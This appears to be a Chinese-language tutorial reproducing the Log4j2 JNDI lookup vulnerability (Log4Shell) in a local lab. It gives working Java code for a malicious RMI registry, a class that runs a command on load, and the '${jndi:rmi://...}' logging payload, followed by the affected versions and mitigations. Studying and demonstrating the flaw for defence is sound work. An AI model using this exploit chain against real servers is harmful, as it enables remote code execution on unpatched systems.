简介
ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
环境搭建
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
利用漏洞查询运行信息
- 运行Lookups查询信息
public class TestLog {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String text1 = "${java:vm}";
logger.info("测试,{}",text1);
}
}
- 在Log4j2官网椎间中有
Lookups
详解 这其实是Lookups
的功能如图
入侵详细过程:Lookups基于jndi ,jndi 支持 rmi 执行代码
- 创建注册中心
package controller;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIService {
public static void main(String[] args) {
try {
/**
* 搞一个注册中心
* 端口:8888
*/
LocateRegistry.createRegistry(8888);
Registry registry = LocateRegistry.getRegistry();
System.out.println("执行 端口 8888");
/**
* 注册服务
* TestObj 自定义类-> 可执行自定义代码
*/
Reference reference = new Reference("TestObj", "cTestObj", "");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 服务名字
registry.bind("testName", referenceWrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
}
- 创建入侵代码类
package controller;
public class TestObj {
static {
try {
// 打开计算机
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
- 运行
package controller;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// 在当前网站后台执行
String text = "${jndi:rmi://localhost:8888/testName}";
logger.info("测试,{}",text);
}
}
- 执行结果
修复方式(今天我在运行时官方已经修复)
- 未修复之前的影响范围为
Apache Log4j 2.x <= 2.15.0-rc1
建议
- 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
- 在应用classpath下添加log4j2.component.properties配置文- 件,文件内容为log4j2.formatMsgNoLookups=true;
- JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
- 部署使用第三方防火墙产品进行安全防护。